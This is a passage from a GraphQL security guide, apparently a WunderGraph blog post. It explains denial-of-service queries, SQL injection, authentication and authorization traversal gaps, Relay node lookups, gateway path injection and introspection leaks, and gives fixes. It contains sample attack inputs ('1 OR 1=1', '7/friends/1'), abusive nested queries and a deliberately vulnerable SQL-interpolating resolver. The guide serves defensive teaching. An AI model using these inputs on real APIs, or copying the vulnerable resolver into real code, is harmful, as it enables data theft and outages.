			When executing a GraphQL Operation, it's not only the frameworks' responsibility to do the right thing. At this point, it's also a great chance for the framework user to mess up. This has to do with the way GraphQL is designed. A GraphQL Operation can walk from node to node, wherever it wants, it you don't do anything about it. So, the range of possible attacks goes from simple denial of service attacks to more sophisticated approaches that return data which should not be returned. For that reason, we'll give this section a bit more structure.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#4.-graphql-denial-of-service-attacks" rel="external nofollow">4. GraphQL Denial of Service Attacks</a>

		<p>
			If you want to rate-limit a REST API user, all you have to do is store their IP in an in memory story, e.g. Redis, and rate limit them with you algorithm of choice, e.g. a sophisticated window rate limiter. Each request counts as one request, this sounds stupid but matters in the context of GraphQL.
		</p>

		<p>
			With GraphQL on the other hand, you cannot apply the same pattern. One single Operation is enough to bring the GraphQL Server to a halt.
		</p>

		<p>
			Here are a few examples of how to build a denial of service attack with GraphQL:
		</p>

		<p>
			Moving back and forth, forever.
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>

							<div>
								6
							</div>

							<div>
								7
							</div>

							<div>
								8
							</div>

							<div>
								9
							</div>

							<div>
								10
							</div>

							<div>
								11
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											{
										</div>

										<div>
											foo {
										</div>

										<div>
											bar {
										</div>

										<div>
											foo {
										</div>

										<div>
											bar {
										</div>

										<div>
											# repeat forever
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			Simply ask for a lot of foos:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>

							<div>
								6
							</div>

							<div>
								7
							</div>

							<div>
								8
							</div>

							<div>
								9
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											{
										</div>

										<div>
											a: foo
										</div>

										<div>
											b: foo
										</div>

										<div>
											c: foo
										</div>

										<div>
											# ...
										</div>

										<div>
											aa: foo
										</div>

										<div>
											# ...
										</div>

										<div>
											zzzzzzzzzzzz: foo
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			How about exploiting N+1 problems?
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>

							<div>
								6
							</div>

							<div>
								7
							</div>

							<div>
								8
							</div>

							<div>
								9
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											{
										</div>

										<div>
											arrayField { # returns 100 nodes
										</div>

										<div>
											moreArray { # returns 100 nodes
										</div>

										<div>
											moar { # returns 100 nodes
										</div>

										<div>
											storyGoesOn # returns 100 nodes ...
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			Each layer of nesting asks for more nested data, hence exponential growth of execution complexity.
		</p>

		<p>
			A few things you should consider:
		</p>

		<p>
			Usually, GraphQL operations come in the form of a JSON over an HTTP POST request. This JSON could look like this:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>

							<div>
								6
							</div>

							<div>
								7
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											{
										</div>

										<div>
											"query": "query Foo($bar: String!) {foo(bar:$bar){bar}}",
										</div>

										<div>
											"operationName": "Foo",
										</div>

										<div>
											"variables": {
										</div>

										<div>
											"bar": "baz"
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			The first thing you should do is to limit the amount of JSON bytes you're accepting. How large can your larges Operations be? A few Kilobytes? Megabytes?
		</p>

		<p>
			Next, when parsing the Operation, how many Nodes are too many Nodes? Do you accept any amount of Nodes in a Query? If you have analytics running on your system, maybe take the larges Query, add a margin on top and set the limit there?
		</p>

		<p>
			Talking about the maximum number of Nodes when parsing an Operation. Does your framework of choice actually allow you to limit the number of Nodes it'll read?
		</p>

		<p>
			Next, let's talk about the options you have when the Operation is parsed.
		</p>

		<p>
			You can calculate the "complexity" of the Operation. You could "walk" through the AST and apply some sort of algorithm to detect the complexity of the Operation. One way to define complexity is for example the nesting.
		</p>

		<p>
			Here's a Query with nesting of 1:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											{foo}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			This Query has nesting of 2:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											{foo{bar}}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			This algorithm is a good start. However, it has some downsides. Nesting alone is not a good indicator of complexity.
		</p>

		<p>
			To better understand the complexity, you'd have to look at the possible number of nodes, a field can return. This is similar to EXPLAIN ANALYZE in SQL. It gives you some estimates on what the Query Planner thinks, how the Query will be executed. Keep in mind that these estimations can go completely wrong.
		</p>

		<p>
			So, estimating is not bad, but you should also look at the real number of returned nodes during execution.
		</p>

		<p>
			Companies with public GraphQL APIs, like e.g. GitHub, have implemented quite sophisticated rate limiting algorithms. They take into account the <a href="https://docs.github.com/en/graphql/overview/resource-limitations" rel="external nofollow">number of nodes returned </a> by each field and give you some limits based on their calculations.
		</p>

		<p>
			Here's an example Query from their explanation:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>

							<div>
								6
							</div>

							<div>
								7
							</div>

							<div>
								8
							</div>

							<div>
								9
							</div>

							<div>
								10
							</div>

							<div>
								11
							</div>

							<div>
								12
							</div>

							<div>
								13
							</div>

							<div>
								14
							</div>

							<div>
								15
							</div>

							<div>
								16
							</div>

							<div>
								17
							</div>

							<div>
								18
							</div>

							<div>
								19
							</div>

							<div>
								20
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											query {
										</div>

										<div>
											viewer {
										</div>

										<div>
											repositories(first: 50) {
										</div>

										<div>
											edges {
										</div>

										<div>
											repository:node {
										</div>

										<div>
											name
										</div>

										<div>
											issues(first: 10) {
										</div>

										<div>
											totalCount
										</div>

										<div>
											edges {
										</div>

										<div>
											node {
										</div>

										<div>
											title
										</div>

										<div>
											bodyHTML
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			There's one important thing we can learn from them in terms of GraphQL Schema design. If you have a field that returns a list, make sure there is a mandatory argument to limit the number of items returned, e.g. first, last, skip, etc... Only then, it's actually possible to calculate the complexity before executing the Operation.
		</p>

		<p>
			Additionally, you'd also want to think about the user experience of your API. It's going to be a poor user experience if GraphQL Operations randomly fail because there's too much data coming back from a list field for some instances.
		</p>

		<p>
			At the end of the post, we'll pick up this topic again and talk about an even better approach, an approach that works well for both the API provider and the consumer.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#5.-graphql-sql-injection-vulnerability" rel="external nofollow">5. GraphQL SQL Injection Vulnerability</a>

		<p>
			This one should be quite known, but it should still be part of the list.
		</p>

		<p>
			Let's have a look at a simple resolver using graphql-js:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>

							<div>
								6
							</div>

							<div>
								7
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											Query: {
										</div>

										<div>
											human(obj, args, context, info) {
										</div>

										<div>
											return context.db.loadHumanByID(args.id).then(
										</div>

										<div>
											userData =&gt; new Human(userData)
										</div>

										<div>
											)
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			A Query for this resolver might look like this:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>

							<div>
								6
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											query Human {
										</div>

										<div>
											human(id: "1"){
										</div>

										<div>
											id
										</div>

										<div>
											name
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			In case of a badly written implementation of db.loadHumanByID, the SQL statement could look like this:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											export const loadHumanByID = (id) =&gt; {
										</div>

										<div>
											const stmt = `SELECT * FROM humans where id = ${id};`;
										</div>

										<div>
											return db.query(stmt);
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			In case of the "happy" path, the SQL statement will be rendered like this:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											SELECT * FROM humans where id = 1;
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			Now, let's try a simple attack:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>

							<div>
								6
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											query Human {
										</div>

										<div>
											human(id: "1 OR 1=1"){
										</div>

										<div>
											id
										</div>

										<div>
											name
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			In case of our attack, the SQL statement looks slightly different:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											SELECT * FROM humans where id = 1 OR 1=1;
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			As 1=1 is always true, this would return all users. You might have noticed that the function can only return a single user, not a list of users, but for illustration purposes, I think it's clear that we have to deal with the issue.
		</p>

		<p>
			What can we do about this?
		</p>

		<blockquote>
			<p>
				Be liberal in what you accept, and conservative in what you send. [Postels Law]
			</p>
		</blockquote>

		<p>
			The solution to the problem is not really GraphQL-specific. You should always validate the inputs. For database access, use prepared statements or an ORM that abstracts away the database layer so that you're not able to inject arbitrary logic into the statement by design.
		</p>

		<p>
			Either way, don't trust user inputs. It's not enough to check if it's a string.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#6.-graphql-authentication-vulnerabilities" rel="external nofollow">6. GraphQL Authentication Vulnerabilities</a>

		<p>
			Another attack vector is incomplete authentication logic. There might be different Query-Paths to traverse to the same object, you have to make sure that every path is covered.
		</p>

		<p>
			Here's an example schema to illustrate the problem:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>

							<div>
								6
							</div>

							<div>
								7
							</div>

							<div>
								8
							</div>

							<div>
								9
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											type Query {
										</div>

										<div>
											me: User!
										</div>

										<div>
											}
										</div>

										<div>
											 
										</div>

										<div>
											type User {
										</div>

										<div>
											id: ID!
										</div>

										<div>
											name: String!
										</div>

										<div>
											friends: [User!]!
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			In the resolver for the field me, you extract the user ID from the context object and resolve the user. So far, there's no issue with this schema.
		</p>

		<p>
			Later on, the product owner wants a new feature, so a new team member adds a new field to the Query type:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>

							<div>
								6
							</div>

							<div>
								7
							</div>

							<div>
								8
							</div>

							<div>
								9
							</div>

							<div>
								10
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											type Query {
										</div>

										<div>
											me: User!
										</div>

										<div>
											userByID(id: ID!):User
										</div>

										<div>
											}
										</div>

										<div>
											 
										</div>

										<div>
											type User {
										</div>

										<div>
											id: ID!
										</div>

										<div>
											name: String!
										</div>

										<div>
											friends: [User!]!
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			With this change, you have to make sure that the field userByID is also protected by an authentication middleware. It might sound trivial but are you 100% sure that your GraphQL doesn't contain a single access path that is unprotected?
		</p>

		<p>
			We'll pick this item up at the end of the post because there's a simple way to fix the issue.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#7.-graphql-authorization-traversal-attack-vulnerability" rel="external nofollow">7. GraphQL Authorization traversal attack Vulnerability</a>

		<p>
			Traversal attacks are very simple to exploit while hard to spot. Looking at the previous example, let's say you should only be allowed to view your friends id and name;
		</p>

		<p>
			A simple Query to get the current user looks like this:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>

							<div>
								6
							</div>

							<div>
								7
							</div>

							<div>
								8
							</div>

							<div>
								9
							</div>

							<div>
								10
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											{
										</div>

										<div>
											me {
										</div>

										<div>
											id
										</div>

										<div>
											name
										</div>

										<div>
											friends {
										</div>

										<div>
											id
										</div>

										<div>
											name
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			As we inject the user ID into the me resolver ourselves, there's not much an attacker can do.
		</p>

		<p>
			What about this Query?
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>

							<div>
								6
							</div>

							<div>
								7
							</div>

							<div>
								8
							</div>

							<div>
								9
							</div>

							<div>
								10
							</div>

							<div>
								11
							</div>

							<div>
								12
							</div>

							<div>
								13
							</div>

							<div>
								14
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											{
										</div>

										<div>
											me {
										</div>

										<div>
											id
										</div>

										<div>
											name
										</div>

										<div>
											friends {
										</div>

										<div>
											id
										</div>

										<div>
											name
										</div>

										<div>
											friends {
										</div>

										<div>
											id
										</div>

										<div>
											name
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			With this Query, we're loading all friends and their friends. How can we prevent the user from "traversing" this path?
		</p>

		<p>
			The question in this case is, do you protect the edge (friends) or the node (User)? At first glance, it looks like protecting the edge is the right way to do it.
		</p>

		<p>
			So, whenever we enter the field "friends", we check if the parent object (User) is the currently authenticated user. This would work for the Query above, but it has a few drawbacks.
		</p>

		<p>
			One of which is, if you only protect edges, you'd have to protect all of them. Here's another Query that would not be protected by this approach, but it's not the only issue.
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>

							<div>
								6
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											{
										</div>

										<div>
											userByID(id: "7") {
										</div>

										<div>
											id
										</div>

										<div>
											name
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			If you haven't protected the userByID field, we could simply guess user IDs and collect their data. Heading over to the next section, you'll see why protecting the edges is not a good idea.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#8.-relay-global-object-identification-vulnerability" rel="external nofollow">8. Relay Global Object Identification Vulnerability</a>

		<p>
			Your GraphQL Server Framework might implement the Relay Global Object Identification specification. This spec is an extension to your GraphQL schema to make it compatible with the Relay client, the client developed and used by Facebook.
		</p>

		<p>
			What's the problem with this spec? Let's have a closer look at what it allows us to do:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>

							<div>
								6
							</div>

							<div>
								7
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											{
										</div>

										<div>
											node(id: "4") {
										</div>

										<div>
											id
										</div>

										<div>
											... on User {
										</div>

										<div>
											name
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			The Relay spec defines that each Node in a Graph must be accessible through a globally unique identifier. Usually, this ID is the base64 encoded combination of the __typename and the id fields of a node. With the node returned, you're able to use fragments to ask for specific node fields.
		</p>

		<p>
			This means, even if your Server is completely secure, by enabling the Relay Extension, you're opening up another attack vector.
		</p>

		<p>
			At this point, it should be clear that protecting the edges is a cat and mouse game which is not in favor of you.
		</p>

		<p>
			A better solution to solve the problem is by protecting the node itself. So, whenever we enter the resolver for the type User, we should check if the currently authenticated user is allowed to request the fields.
		</p>

		<p>
			As you can see, you have to make decisions very early on when designing your GraphQL Schema as well as the Database Schema to be able to protect nodes properly. Whenever you enter a node, you must be able to answer the question if the currently logged in user is allowed to see a field or not.
		</p>

		<p>
			So, the question arises if this logic should really sit in the resolver. If you ask the creators of GraphQL, their answer would be "no". As they've already solved the problem in a layer below the resolvers, the data access layer or their "Entity (Ent) Framework", they didn't address the issue with GraphQL. This is also the reason why authorization is completely missing from GraphQL.
		</p>

		<p>
			That being said, solving the problem a layer below it not the only valid solution. If done right, it can be completely fine to solve the problem from within the resolvers.
		</p>

		<p>
			Before we move on, you should have a look at the excellent <a href="https://entgo.io/docs/privacy" rel="external nofollow">entgo </a> framework and its architecture. Even if you're not going to use Golang to build your API layer, you can see how much thought and experience went into the design of the framework. Instead of scattering authorization logic across your resolvers, you're able to define policies at the data layer and there's no way to circumvent them. The access policy is part of the data model. You don't have to use a framework like entgo, but keep in mind that you'd then have to solve this complex problem on your own.
		</p>

		<p>
			Again, we'll revisit this vulnerability later to find a much simpler solution.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#9.-graphql-gateway-/-proxying-vulnerability" rel="external nofollow">9. GraphQL Gateway / Proxying Vulnerability</a>

		<p>
			A lot of GraphQL servers are also API Gateways or Proxies to other APIs. Injecting GraphQL arguments into sub-requests is another possible threat we have to deal with.
		</p>

		<p>
			Let's recall the schema from above:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>

							<div>
								6
							</div>

							<div>
								7
							</div>

							<div>
								8
							</div>

							<div>
								9
							</div>

							<div>
								10
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											type Query {
										</div>

										<div>
											me: User!
										</div>

										<div>
											userByID(id: ID!):User
										</div>

										<div>
											}
										</div>

										<div>
											 
										</div>

										<div>
											type User {
										</div>

										<div>
											id: ID!
										</div>

										<div>
											name: String!
										</div>

										<div>
											friends: [User!]!
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			Let's imagine this Schema is implemented using a REST API with the GraphQL API as an API Gateway in front. The resolver for the userByID field could look like this:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											export const userByID = async (id: string) =&gt; {
										</div>

										<div>
											let results = await axios.get(`<a href="http://my.rest.api/user/" rel="external nofollow">http://my.rest.api/user/</a>${id}`);
										</div>

										<div>
											return results.data;
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			Now, let's not fetch the user but two of their friends! Here's the Query (totally valid):
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>

							<div>
								6
							</div>

							<div>
								7
							</div>

							<div>
								8
							</div>

							<div>
								9
							</div>

							<div>
								10
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											{
										</div>

										<div>
											firstFriend: userByID(id: "7/friends/1"){
										</div>

										<div>
											id
										</div>

										<div>
											name
										</div>

										<div>
											}
										</div>

										<div>
											secondFriend: userByID(id: "7/friends/2"){
										</div>

										<div>
											id
										</div>

										<div>
											name
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			This results in the following GET requests:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											GET <a href="http://my.rest.api/user/7/friends/1" rel="external nofollow">http://my.rest.api/user/7/friends/1</a>
										</div>

										<div>
											GET <a href="http://my.rest.api/user/7/friends/2" rel="external nofollow">http://my.rest.api/user/7/friends/2</a>
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			Why is this possible? The ID Scalar should be <a href="https://spec.graphql.org/June2018/#sec-ID" rel="external nofollow">serialized as a string </a>. While "7" is a valid string, "7/friends/1" is also.
		</p>

		<p>
			To solve the problem, you have to validate the input. As the GraphQL type system is only validating if the input is a number or a string, you need to go one step further. If you're accepting strings as input, e.g. because you're using a UUID or GUID, you have to make sure you've validated them before usage.
		</p>

		<p>
			How can we fix it?
		</p>

		<p>
			Again, we need to validate the inputs. WunderGraph offers you a simple way to <a href="https://wundergraph.com/docs/overview/features/json_schema_validation" rel="external nofollow">configure JSON Schema validation</a> for all inputs. This is possible, because WunderGraph is keeping your Operations entirely on the server. But we'll come to that later.
		</p>

		<p>
			Anybody else should make sure to validate any input before using it from your resolvers.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#10.-graphql-introspection-vulnerability" rel="external nofollow">10. GraphQL Introspection Vulnerability</a>

		<p>
			GraphQL Introspection is amazing! It's the ability of the GraphQL to tell clients everything about the GraphQL Schema. Tools like GraphiQL and GraphQL Playground use the introspection Query to then be able to give the user autocompletion functionalities. Without Introspection and the Schema, tools like these wouldn't exist. At the same time, introspection also has a few downsides.
		</p>

		<p>
			The GraphQL schema can contain sensitive information. There's a possibility that your GraphQL schema is leaking internal information or fields that are only used internally. Maybe one of your teams is working on a new MVP which is not yet launched. Your competitors might be scraping your GraphQL API using the introspection Query. Whenever there's a change in the schema, they could immediately see this using a diff.
		</p>

		<p>
			What can we do about this? Most guides advise you to disable the Introspection Query in Production. That is, you'll allow it during development but disallow introspection Queries when deploying to production.
		</p>

		<p>
			However, due to the friendliness of some GraphQL framework implementations, including the graphql-js reference implementation, <a href="https://blog.yeswehack.com/yeswerhackers/how-exploit-graphql-endpoint-bug-bounty/" rel="external nofollow">disabling introspection doesn't really solve the issue </a>. Keep in mind that every implementation depending on the graphql-js reference is also affected by this.
		</p>

		<p>
			So, if disabling introspection doesn't help, what else can we do about it? If your API is only used by your internal staff, you can the execution of introspection Queries with an authentication middleware. This way, you would add a layer of authentication in front of the GraphQL execution. Obviously, this only works for APIs that always require authentication because otherwise users would not be able to make a single request.
		</p>

		<p>
			If you're building an app that can be used by users without authentication, the proposed solution doesn't work.
		</p>

		<p>
			To sum up, by disabling introspection at runtime, you're making it a bit more complicated to introspect the schema, but with most frameworks it's still possible.
		</p>

		<p>
			The next vulnerability will also take advantage of this issue. The ultimate catch-all solution will be presented at the end.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#11.-generated-graphql-apis-vulnerability" rel="external nofollow">11. Generated GraphQL APIs Vulnerability</a>

		<p>
